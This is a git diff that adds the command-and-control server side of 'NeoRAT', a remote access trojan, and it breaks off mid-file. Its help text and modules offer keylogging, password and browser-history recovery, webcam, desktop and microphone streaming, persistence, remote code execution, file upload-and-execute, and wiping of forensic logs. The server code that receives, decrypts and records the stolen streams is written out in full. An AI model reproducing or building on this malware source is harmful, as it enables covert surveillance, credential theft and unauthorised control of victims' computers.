diff options
Diffstat (limited to 'domestic')
57 files changed, 2391 insertions, 0 deletions
diff --git a/domestic/global_state.py b/domestic/global_state.py new file mode 100644 index 0000000..c9a7cc9 --- /dev/null +++ b/domestic/global_state.py @@ -0,0 +1,89 @@ +from binary.encrypt_data import * + + +state = { + 'name': 'NeoRAT', + 'description': 'NeoRAT (2/3) hosts a TCP server allowing connections from clients.\n' + + 'Supporting C&C with powerful features, including streams of audio, \n' + + 'desktop, webcam & keylogger, while improving upon NexRAT. [USE: \'HELP\']', + 'author': 'Author\'s Repositories: https://git.alvinhavel.com', + 'settings': { + 'dynamic': { + 'is-loading': False, + 'alias-size': None, + 'alias-data': None, + 'queue': [] + }, + 'debug': False, + 'safe-timeout': 60, + 'keep-alive-count': 60, + 'max-file-size': 75, + 'loading': True, + 'loading-animation': False, + 'encoding': 'latin-1', + 'headersize': 10, + 'io-channels': [None, None], + 'encryption': Encryption( + 'ksxgyRuBRJLKxjFeHD4nmxbE', + b'v4CuHZFzmTedBY2EBGrLRXsm'), + 'folders': { + 'parent': 'Resources', + 'child': ('Files', + 'Scripts', + 'Haarcascades', + 'Keystroke') + } + }, + 'session': { + 'active': False, + 'socket': None, + 'username': None, + 'data': None + }, + 'sockets': { + 'server': None, + 'clients': [[], [], []], + 'modules': { + 'stream': [None, []], + 'cam': [None, []], + 'audio': [None, []], + 'talk': [None, []] + } + }, + 'options': { + 'mode': { + 'safe': False, + 'silent': False, + }, + 'validation': { + 'duplicates': True, + 'max-clients': 25 + }, + 'information-gathering': { + 'history': True, + 'whoami': True, + 'record': { + 'stream': True, + 'cam-stream': True, + 'audio': True, + 'talk': True + }, + 'save': { + 'screenshot': True, + 'cam-screenshot': True + }, + 'backup': { + 'text': False, + 'image': False + } + }, + 'notice': { + 'email-notice': False, + 'email-data': { + 'email': None, + 'password': None, + 'to': None + } + } + } +} diff --git a/domestic/globally/clear_screen.py b/domestic/globally/clear_screen.py new file mode 100644 index 0000000..2d8af53 --- /dev/null +++ b/domestic/globally/clear_screen.py @@ -0,0 +1,8 @@ +import os + +from domestic.utility.status_message import * + + +def clear_screen(): + os.system('cls') + status_message(None, 'program')
\ No newline at end of file diff --git a/domestic/globally/exit_program.py b/domestic/globally/exit_program.py new file mode 100644 index 0000000..c08c34e --- /dev/null +++ b/domestic/globally/exit_program.py @@ -0,0 +1,14 @@ +import os + +from domestic.utility.status_message import * +from domestic.utility.delete_client import * +from domestic.global_state import * + + +def exit_program(): + status_message(f'Exiting {state["name"]}', 'danger', {'dots': True, 'end': True}) + + for i in range(len(state['sockets']['clients'][0])): + delete_client(i, False) + + os._exit(0)
\ No newline at end of file diff --git a/domestic/globally/get_help.py b/domestic/globally/get_help.py new file mode 100644 index 0000000..1587165 --- /dev/null +++ b/domestic/globally/get_help.py @@ -0,0 +1,185 @@ +import tabulate + +from domestic.utility.status_message import * + + +help_obj = { + 'help': { + 'type': 'Globally', + 'usage': 'help', + 'description': 'Shows available commands' + }, + 'exit': { + 'type': 'Globally', + 'usage': 'exit', + 'description': 'Exits program' + }, + 'clear': { + 'type': 'Globally', + 'usage': 'clear', + 'description': 'Clears your terminal window' + }, + 'sockets': { + 'type': 'Globally', + 'usage': 'sockets', + 'description': 'Show sockets information' + }, + 'options': { + 'type': 'Globally', + 'usage': 'options --available | --key [key] & --value [value]', + 'description': 'Handle available options' + }, + 'stream': { + 'type': 'Globally', + 'usage': 'stream --ip [ip] & --port [port] | --unbind | --close [index] | --status', + 'description': 'Handle stream module' + }, + 'cam': { + 'type': 'Globally', + 'usage': 'cam --ip [ip] & --port [port] | --unbind | --close [index] | --status', + 'description': 'Handle cam module' + }, + 'audio': { + 'type': 'Globally', + 'usage': 'audio --ip [ip] & --port [port] | --unbind | --close [index] | --status', + 'description': 'Handle audio module' + }, + 'talk': { + 'type': 'Globally', + 'usage': 'talk --ip [ip] & --port [port] | --unbind | --close [index] | --status', + 'description': 'Handle talk module' + }, + 'list': { + 'type': 'Shell', + 'usage': 'list', + 'description': 'List connected clients' + }, + 'server': { + 'type': 'Shell', + 'usage': 'server --ip [ip] & --port [port] | --unbind | --status', + 'description': 'Handle client server' + }, + 'session': { + 'type': 'Shell', + 'usage': 'session --index [index]', + 'description': 'Establish a session with a client' + }, + 'delete': { + 'type': 'Shell', + 'usage': 'delete --index [index]', + 'description': 'Delete a connected client' + }, + 'break': { + 'type': 'Session', + 'usage': 'break', + 'description': 'Exit active session' + }, + 'uninstall': { + 'type': 'Session', + 'usage': 'uninstall', + 'description': 'Delete client file & exit' + }, + 'reconnect': { + 'type': 'Session', + 'usage': 'reconnect', + 'description': 'Reconnect a new client' + }, + 'cd': { + 'type': 'Session', + 'usage': 'cd --to [directory]', + 'description': 'Change directory of session shell' + }, + 'image': { + 'type': 'Session', + 'usage': 'image --screenshot | --cam (--monitor [index])', + 'description': 'Capture a screenshot / cam screenshot' + }, + 'upload': { + 'type': 'Session', + 'usage': 'upload --file [filename] | --url [url] (--execute)', + 'description': 'Upload file to client' + }, + 'download': { + 'type': 'Session', + 'usage': 'download --file [filename] (--execute)', + 'description': 'Download file from client' + }, + 'encrypt': { + 'type': 'Session', + 'usage': 'encrypt --file [filename] (--decrypt)', + 'description': 'Encrypt / decrypt a file' + }, + 'interpreter': { + 'type': 'Session', + 'usage': 'interpreter --execute [code] | --script [filename] (--quiet)', + 'description': 'Execute Python code' + }, + 'keylogger': { + 'type': 'Session', + 'usage': 'keylogger --run | --download (--quiet) | --close | --status', + 'description': 'Handle keylogger' + }, + 'keystroke': { + 'type': 'Session', + 'usage': 'keystroke --inject [inject] | --script [filename]', + 'description': 'Enumerate keyboard / mouse actions' + }, + 'persistence': { + 'type': 'Session', + 'usage': 'persistence --elevate | --schedule | --service', + 'description': 'Alternatives for client persistence' + }, + 'system': { + 'type': 'Session', + 'usage': 'system --shutdown | --restart | --logout | --standby', + 'description': 'Perform system actions' + }, + 'recover': { + 'type': 'Session', + 'usage': 'recover --password | --history (--force) (--quiet)', + 'description': 'Recover passwords / browser history' + }, + 'obfuscate': { + 'type': 'Session', + 'usage': 'obfuscate --logs', + 'description': 'Obfuscate forensic footprints' + }, + 'messagebox': { + 'type': 'Session', + 'usage': 'messagebox --title [title] --text [text] (--style [style])', + 'description': 'Display a messagebox' + }, + 'website': { + 'type': 'Session', + 'usage': 'website --open [open]', + 'description': 'Opens one or more websites' + }, + 'stream_2': { + 'type': 'Session', + 'usage': 'stream --resolution [resolution] (monitor [index]) (--fps) (--fit) (--ip [ip] & --port [port]) (--recognize [haarcascade])', + 'description': 'Run stream module' + }, + 'cam_2': { + 'type': 'Session', + 'usage': 'cam --resolution [resolution] (--monitor [index]) (--fps) (--fit) (--ip [ip] & --port [port]) (--recognize [haarcascade])', + 'description': 'Run cam module' + }, + 'audio_2': { + 'type': 'Session', + 'usage': 'audio --run (--quiet) (--ip [ip] & --port [port])', + 'description': 'Run audio module' + }, + 'talk_2': { + 'type': 'Session', + 'usage': 'talk --run (--ip [ip] & --port [port])', + 'description': 'Run talk module' + } +} + + +def get_help(): + all_commands = [] + for key, value in help_obj.items(): + all_commands.append([value['type'], value['usage'], value['description']]) + + status_message(tabulate.tabulate(all_commands, headers=['Available', 'Usage', 'Description']), 'pure')
\ No newline at end of file diff --git a/domestic/globally/options.py b/domestic/globally/options.py new file mode 100644 index 0000000..39a80a0 --- /dev/null +++ b/domestic/globally/options.py @@ -0,0 +1,114 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +options_list = ( + ( + 'mode/safe', + 'mode/silent', + 'validation/duplicates', + 'validation/max-clients', + 'information-gathering/history', + 'information-gathering/whoami', + 'information-gathering/record/stream', + 'information-gathering/record/cam-stream', + 'information-gathering/record/audio', + 'information-gathering/record/talk', + 'information-gathering/save/screenshot', + 'information-gathering/save/cam-screenshot', + 'information-gathering/backup/text', + 'information-gathering/backup/image', + 'notice/email-notice', + 'notice/email-data/email', + 'notice/email-data/password', + 'notice/email-data/to' + ), + ( + 'bool', + 'bool', + 'bool', + 'int', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'str', + 'str', + 'str' + ) +) + + +@error_exception_handling +def options(message): + key = validate_dict_key(message, 'key') + value = validate_dict_key(message, 'value') + available = validate_dict_key(message, 'available') + + if key and value: + key_list = key.split('/') + key_len = len(key_list) + + assert key in options_list[0] + value = validate_option(value, options_list[1][options_list[0].index(key)]) + + if key_len == 2: + state['options'][key_list[0]][key_list[1]] = value + elif key_len == 3: + state['options'][key_list[0]][key_list[1]][key_list[2]] = value + elif key_len == 4: + state['options'][key_list[0]][key_list[1]][key_list[2]][key_list[3]] = value + else: + raise Exception('Key length is invalid') + status_message(f'Option: {key} is now set to {value}', 'success') + elif available: + options = state['options'] + categories = ['mode', 'validation', 'information-gathering', 'notice'] + + for categorie in categories: + option_category = options[categorie] + + status_message(f'{categorie.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + for key, value in option_category.items(): + if 'dict' in str(type(value)): + status_message(f'- {key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + for key_2, value_2 in value.items(): + status_message(f' - {key_2.capitalize()}: {value_2}', 'pure', {'end': True}) + else: + status_message(f' - {key.capitalize()}: {value}', 'pure', {'end': True}) + print() + status_message(None, 'program') + else: + raise Exception('Error message') + + +def validate_option(value, value_type): + if value == 'true': + value = True + elif value == 'false': + value = False + elif value == 'none': + if 'str' == value_type: + value = None + elif value.isdigit(): + value = int(value) + + value_type_calc = str(type(value)) + + if 'str' in value_type_calc: + assert len(value) < 128 + elif 'int' in value_type_calc: + assert value < 10000 + + assert value_type in value_type_calc or value is None + + return value
\ No newline at end of file diff --git a/domestic/globally/sockets.py b/domestic/globally/sockets.py new file mode 100644 index 0000000..31cd164 --- /dev/null +++ b/domestic/globally/sockets.py @@ -0,0 +1,31 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +def sockets(): + if state['sockets']['server']: + ip, port = state['sockets']['server'].getsockname() + status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) + status_message(f' - Listening', 'pure', {'end': True}) + else: + status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) + status_message(f' - Not listening', 'pure', {'end': True}) + + for key, value in state['sockets']['modules'].items(): + if value[0]: + ip, port = value[0].getsockname() + status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + else: + status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + status_message(' - Not listening', 'pure', {'end': True}) + continue + + if len(value[1]) == 0: + status_message(' - None running', 'pure', {'end': True}) + else: + for index, module_client in enumerate(value[1]): + status_message(f' - [{index}] {module_client[1]}', 'pure', {'end': True}) + + print() + status_message(None, 'program')
\ No newline at end of file diff --git a/domestic/make/make_directories.py b/domestic/make/make_directories.py new file mode 100644 index 0000000..b6235b4 --- /dev/null +++ b/domestic/make/make_directories.py @@ -0,0 +1,14 @@ +import os + +from domestic.global_state import * + + +def make_directories(directories): + root = state['root'] + + if not os.path.isdir(root): + os.mkdir(root) + + for directory in directories: + if not os.path.isdir(f'{root}/{directory}'): + os.mkdir(f'{root}/{directory}')
\ No newline at end of file diff --git a/domestic/make/make_file.py b/domestic/make/make_file.py new file mode 100644 index 0000000..0fb7f6e --- /dev/null +++ b/domestic/make/make_file.py @@ -0,0 +1,18 @@ +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_file(directories, file_type, data, success_message=None): + filename = get_filename(file_type) + username = state['session']['username'] + path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + with open(path, 'wb') as f: + f.write(data) + + if success_message: + status_message(f'Path: {path}\n{success_message}', 'success')
\ No newline at end of file diff --git a/domestic/make/make_history.py b/domestic/make/make_history.py new file mode 100644 index 0000000..992269f --- /dev/null +++ b/domestic/make/make_history.py @@ -0,0 +1,24 @@ +import csv + +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_history(directories, file_type, browserhistory, success_message=None): + filename = get_filename(file_type) + username = state['session']['username'] + path = f'{state["root"]}/{username}/{directories[-1]}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + for browser, history in browserhistory.items(): + with open(f'{path}/{browser}_{filename}', 'w', encoding='utf-8', newline='') as csvfile: + csv_writer = csv.writer(csvfile, delimiter=',', quoting=csv.QUOTE_ALL) + + for data in history: + csv_writer.writerow(data) + + if success_message: + status_message(f'Path: {path}/[browser]_{filename}\n{success_message}', 'success')
\ No newline at end of file diff --git a/domestic/make/make_image.py b/domestic/make/make_image.py new file mode 100644 index 0000000..2697633 --- /dev/null +++ b/domestic/make/make_image.py @@ -0,0 +1,24 @@ +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_image(directories, data, show_image=True, success_message=None, image_type=None): + filename = get_filename('png') + username = state['session']['username'] + path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']): + data.save(path) + + if show_image: + data.show() + + if success_message: + if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']): + status_message(f'Path: {path}\n{success_message}', 'success') + else: + status_message(success_message, 'success')
\ No newline at end of file diff --git a/domestic/make/make_wave.py b/domestic/make/make_wave.py new file mode 100644 index 0000000..02dcb6e --- /dev/null +++ b/domestic/make/make_wave.py @@ -0,0 +1,19 @@ +import wave + +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_wave(directories, username, wave_data): + filename = get_filename('wav') + path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + waveFile = wave.open(path, 'wb') + waveFile.setnchannels(wave_data[0]) + waveFile.setsampwidth(wave_data[1].get_sample_size(wave_data[2])) + waveFile.setframerate(wave_data[3]) + waveFile.writeframes(b''.join(wave_data[4])) + waveFile.close()
\ No newline at end of file diff --git a/domestic/modules/audio.py b/domestic/modules/audio.py new file mode 100644 index 0000000..1fcfafc --- /dev/null +++ b/domestic/modules/audio.py @@ -0,0 +1,138 @@ +import threading +import pyaudio +import pickle +import zlib +import sys + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.utility.write_error import * +from domestic.make.make_wave import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def audio_action(write_stream): + try: + headersize = state['settings']['headersize'] + encryption = state['settings']['encryption'] + encoding = state['settings']['encoding'] + username = state['session']['username'] + mode = [True, 0, b''] + frames = [] + + p = pyaudio.PyAudio() + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + RATE = 44100 + CHANNELS = 2 + + try: + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + except: + CHANNELS = 1 + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + + record = state['options']['information-gathering']['record']['audio'] + client, addr = state['sockets']['modules']['audio'][0].accept() + client_obj = (client, username, addr) + state['sockets']['modules']['audio'][1].append(client_obj) + + message = pickle.dumps(b' ') + message = zlib.compress(message, 1) + message = encryption.do_encrypt(message) + final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message + client.send(final_msg) + + while True: + client_msg = client.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + frame = encryption.do_decrypt(mode[2][headersize:]) + frame = zlib.decompress(frame) + frame = pickle.loads(frame) + + if write_stream is None: + stream.write(frame) + + frames.append(frame) + + real_msg = pickle.dumps(b' ') + real_msg = zlib.compress(real_msg, 1) + real_msg = encryption.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + mode = [True, 0, b''] + except Exception as err: + write_error(err) + try: + if record: + make_wave(['modules', 'modules/audio'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames)) + + stream.stop_stream() + stream.close() + p.terminate() + state['sockets']['modules']['audio'][1].remove(client_obj) + except Exception as err: + write_error(err) + finally: + sys.exit(0) + + +@error_exception_handling +def audio(data): + ip = validate_dict_key(data, 'ip') + port = validate_dict_key(data, 'port') + run = validate_dict_key(data, 'run') + quiet = validate_dict_key(data, 'quiet') + unbind = validate_dict_key(data, 'unbind') + close = validate_dict_key(data, 'close') + status = validate_dict_key(data, 'status') + + if run: + assert state['session']['active'] + + if ip and port: + data['ip'], data['port'] = ip, int(port) + else: + data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname() + + if quiet: + del data['quiet'] + + del data['run'] + + threading.Thread(target=audio_action, args=(quiet,), daemon=True).start() + session_message(data) + elif ip and port: + if state['sockets']['modules']['audio'][0] is None: + bind_socket(ip, port, 'audio') + else: + ip, port = state['sockets']['modules']['audio'][0].getsockname() + status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True}) + elif unbind: + if state['sockets']['modules']['audio'][0]: + unbind_socket('audio') + else: + status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning') + elif close: + close_client(close, 'audio') + elif status: + if state['sockets']['modules']['audio'][0]: + ip, port = state['sockets']['modules']['audio'][0].getsockname() + status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary') + else: + status_message('You are not listening for clients (audio module)', 'warning') + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/modules/cam.py b/domestic/modules/cam.py new file mode 100644 index 0000000..3ce729d --- /dev/null +++ b/domestic/modules/cam.py @@ -0,0 +1,163 @@ +import threading +import random +import pickle +import zlib +import cv2 + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def cam_action(resolution, recognize, fit): + try: + headersize = state['settings']['headersize'] + encryption = state['settings']['encryption'] + encoding = state['settings']['encoding'] + username = state['session']['username'] + mode = [True, 0, b''] + + cam_id = random.randint(0, 100000) + record = state['options']['information-gathering']['record']['cam-stream'] + client, addr = state['sockets']['modules']['cam'][0].accept() + client_obj = (client, username, addr) + state['sockets']['modules']['cam'][1].append(client_obj) + + if recognize: + parent_folder = state['settings']['folders']['parent'] + child_folder = state['settings']['folders']['child'][2] + faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}') + + if record: + directories = ['modules', 'modules/cam-stream'] + username = state['session']['username'] + path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + fourcc = cv2.VideoWriter_fourcc(*'XVID') + out = cv2.VideoWriter(path, fourcc, 5.0, resolution) + + message = pickle.dumps(b' ') + message = zlib.compress(message, 1) + message = encryption.do_encrypt(message) + final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message + client.send(final_msg) + + while True: + client_msg = client.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + frame = encryption.do_decrypt(mode[2][headersize:]) + frame = zlib.decompress(frame) + frame = pickle.loads(frame) + + if recognize: + faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE) + + for (x, y, w, h) in faces: + cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2) + + if fit is None: + cv2.namedWindow(f'{username} - Live cam (cam id: {cam_id})', cv2.WINDOW_NORMAL) + + cv2.imshow(f'{username} - Live cam (cam id: {cam_id})', frame) + + if record: + out.write(frame) + + if cv2.waitKey(1) == 27: + raise Exception('Close stream') + + real_msg = pickle.dumps(b' ') + real_msg = zlib.compress(real_msg, 1) + real_msg = encryption.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + mode = [True, 0, b''] + except Exception as err: + write_error(err) + try: + state['sockets']['modules']['cam'][1].remove(client_obj) + + if record: + out.release() + except Exception as err: + write_error(err) + finally: + sys.exit(0) + + +@error_exception_handling +def cam(data): + ip = validate_dict_key(data, 'ip') + port = validate_dict_key(data, 'port') + unbind = validate_dict_key(data, 'unbind') + resolution = validate_dict_key(data, 'resolution') + monitor = validate_dict_key(data, 'monitor') + close = validate_dict_key(data, 'close') + status = validate_dict_key(data, 'status') + fps = validate_dict_key(data, 'fps') + fit = validate_dict_key(data, 'fit') + recognize = validate_dict_key(data, 'recognize') + + if resolution: + assert state['session']['active'] + + if ip and port: + data['ip'], data['port'] = ip, int(port) + else: + data['ip'], data['port'] = state['sockets']['modules']['cam'][0].getsockname() + + if monitor: + data['monitor'] = int(monitor) + else: + data['monitor'] = 0 + + if fps is None: + data['fps'] = False + + if fit: + del data['fit'] + + if recognize: + del data['recognize'] + + del data['resolution'] + + threading.Thread(target=cam_action, args=(tuple([int(x) for x in resolution.split(',')]), recognize, fit), daemon=True).start() + session_message(data) + elif ip and port: + if state['sockets']['modules']['cam'][0] is None: + bind_socket(ip, port, 'cam') + else: + ip, port = state['sockets']['modules']['cam'][0].getsockname() + status_message(f'You are already listening for clients (cam module) on {ip}:{port}', 'danger', {'dots': True}) + elif unbind: + if state['sockets']['modules']['cam'][0]: + unbind_socket('cam') + else: + status_message(f'You\'re not listening for clients (cam module)\nThere is no server socket (cam module) to close', 'warning') + elif close: + close_client(close, 'cam') + elif status: + if state['sockets']['modules']['cam'][0]: + ip, port = state['sockets']['modules']['cam'][0].getsockname() + status_message(f'You are listening for clients (cam module) on {ip}:{port}', 'primary') + else: + status_message('You are not listening for clients (cam module)', 'warning') + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/modules/socket_handler.py b/domestic/modules/socket_handler.py new file mode 100644 index 0000000..7f8c57e --- /dev/null +++ b/domestic/modules/socket_handler.py @@ -0,0 +1,33 @@ +import socket + +from domestic.utility.status_message import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +def bind_socket(ip, port, module_type, stdout=True): + try: + state['sockets']['modules'][module_type][0] = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + state['sockets']['modules'][module_type][0].bind((ip, int(port))) + state['sockets']['modules'][module_type][0].listen() + except Exception as err: + write_error(err) + state['sockets']['modules'][module_type][0] = None + raise Exception('Socket binding error') + else: + if stdout: + status_message(f'{module_type.capitalize()} address successfully bound', 'success') + +def close_client(index, module_type, write_stdout=True): + state['sockets']['modules'][module_type][1][int(index)][0].close() + + if write_stdout: + status_message(f'{module_type.capitalize()} client successfully closed', 'success') + +def unbind_socket(module_type): + for _ in range(len(state['sockets']['modules'][module_type][1])): + close_client('0', module_type, False) + + state['sockets']['modules'][module_type][0].close() + state['sockets']['modules'][module_type][0] = None + status_message(f'{module_type.capitalize()} address successfully closed', 'success')
\ No newline at end of file diff --git a/domestic/modules/stream.py b/domestic/modules/stream.py new file mode 100644 index 0000000..b1ce97b --- /dev/null +++ b/domestic/modules/stream.py @@ -0,0 +1,165 @@ +import threading +import random +import pickle +import zlib +import cv2 + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def stream_action(resolution, recognize, fit): + try: + headersize = state['settings']['headersize'] + encryption = state['settings']['encryption'] + encoding = state['settings']['encoding'] + username = state['session']['username'] + mode = [True, 0, b''] + + stream_id = random.randint(0, 100000) + record = state['options']['information-gathering']['record']['stream'] + client, addr = state['sockets']['modules']['stream'][0].accept() + client_obj = (client, username, addr) + state['sockets']['modules']['stream'][1].append(client_obj) + + if recognize: + parent_folder = state['settings']['folders']['parent'] + child_folder = state['settings']['folders']['child'][2] + faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}') + + if record: + directories = ['modules', 'modules/stream'] + username = state['session']['username'] + path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + fourcc = cv2.VideoWriter_fourcc(*'XVID') + out = cv2.VideoWriter(path, fourcc, 5.0, resolution) + + message = pickle.dumps(b' ') + message = zlib.compress(message, 1) + message = encryption.do_encrypt(message) + final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message + client.send(final_msg) + + while True: + client_msg = client.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + frame = encryption.do_decrypt(mode[2][headersize:]) + frame = zlib.decompress(frame) + frame = pickle.loads(frame) + + if recognize: + faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE) + + for (x, y, w, h) in faces: + cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2) + + if fit is None: + cv2.namedWindow(f'{username} - Live stream (stream id: {stream_id})', cv2.WINDOW_NORMAL) + + cv2.imshow(f'{username} - Live stream (stream id: {stream_id})', frame) + + if record: + out.write(frame) + + if cv2.waitKey(1) == 27: + raise Exception('Close stream') + + real_msg = pickle.dumps(b' ') + real_msg = zlib.compress(real_msg, 1) + real_msg = encryption.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + mode = [True, 0, b''] + except Exception as err: + write_error(err) + try: + state['sockets']['modules']['stream'][1].remove(client_obj) + + if record: + out.release() + except Exception as err: + write_error(err) + finally: + sys.exit(0) + + +@error_exception_handling +def stream(data): + ip = validate_dict_key(data, 'ip') + port = validate_dict_key(data, 'port') + unbind = validate_dict_key(data, 'unbind') + resolution = validate_dict_key(data, 'resolution') + monitor = validate_dict_key(data, 'monitor') + close = validate_dict_key(data, 'close') + status = validate_dict_key(data, 'status') + fps = validate_dict_key(data, 'fps') + fit = validate_dict_key(data, 'fit') + recognize = validate_dict_key(data, 'recognize') + + if resolution: + assert state['session']['active'] + + data['resolution'] = tuple([int(x) for x in resolution.split(',')]) + + if ip and port: + data['ip'], data['port'] = ip, int(port) + else: + data['ip'], data['port'] = state['sockets']['modules']['stream'][0].getsockname() + + if monitor: + data['monitor'] = int(monitor) + else: + data['monitor'] = 0 + + if fps is None: + data['fps'] = False + + if fit: + del data['fit'] + + if recognize: + del data['recognize'] + + threading.Thread(target=stream_action, args=(data['resolution'], recognize, fit), daemon=True).start() + session_message(data) + elif ip and port: + if state['sockets']['modules']['stream'][0] is None: + bind_socket(ip, port, 'stream') + else: + ip, port = state['sockets']['modules']['stream'][0].getsockname() + status_message(f'You are already listening for clients (stream module) on {ip}:{port}', 'danger', {'dots': True}) + elif unbind: + if state['sockets']['modules']['stream'][0]: + unbind_socket('stream') + else: + status_message(f'You\'re not listening for clients (stream module)\nThere is no server socket (stream module) to close', 'warning') + elif close: + close_client(close, 'stream') + elif status: + if state['sockets']['modules']['stream'][0]: + ip, port = state['sockets']['modules']['stream'][0].getsockname() + status_message(f'You are listening for clients (stream module) on {ip}:{port}', 'primary') + else: + status_message('You are not listening for clients (stream module)', 'warning') + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/modules/talk.py b/domestic/modules/talk.py new file mode 100644 index 0000000..a3ca1d3 --- /dev/null +++ b/domestic/modules/talk.py @@ -0,0 +1,128 @@ +import threading +import pyaudio +import pickle +import zlib +import sys + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.utility.write_error import * +from domestic.make.make_wave import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def talk_action(): + try: + headersize = state['settings']['headersize'] + encryption = state['settings']['encryption'] + encoding = state['settings']['encoding'] + username = state['session']['username'] + mode = [True, 0, b''] + frames = [] + + p = pyaudio.PyAudio() + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + RATE = 44100 + CHANNELS = 2 + + try: + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + except: + CHANNELS = 1 + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + + record = state['options']['information-gathering']['record']['talk'] + client, addr = state['sockets']['modules']['talk'][0].accept() + client_obj = (client, username, addr) + state['sockets']['modules']['talk'][1].append(client_obj) + + message = pickle.dumps(stream.read(CHUNK)) + message = zlib.compress(message, 9) + message = encryption.do_encrypt(message) + final_msg = 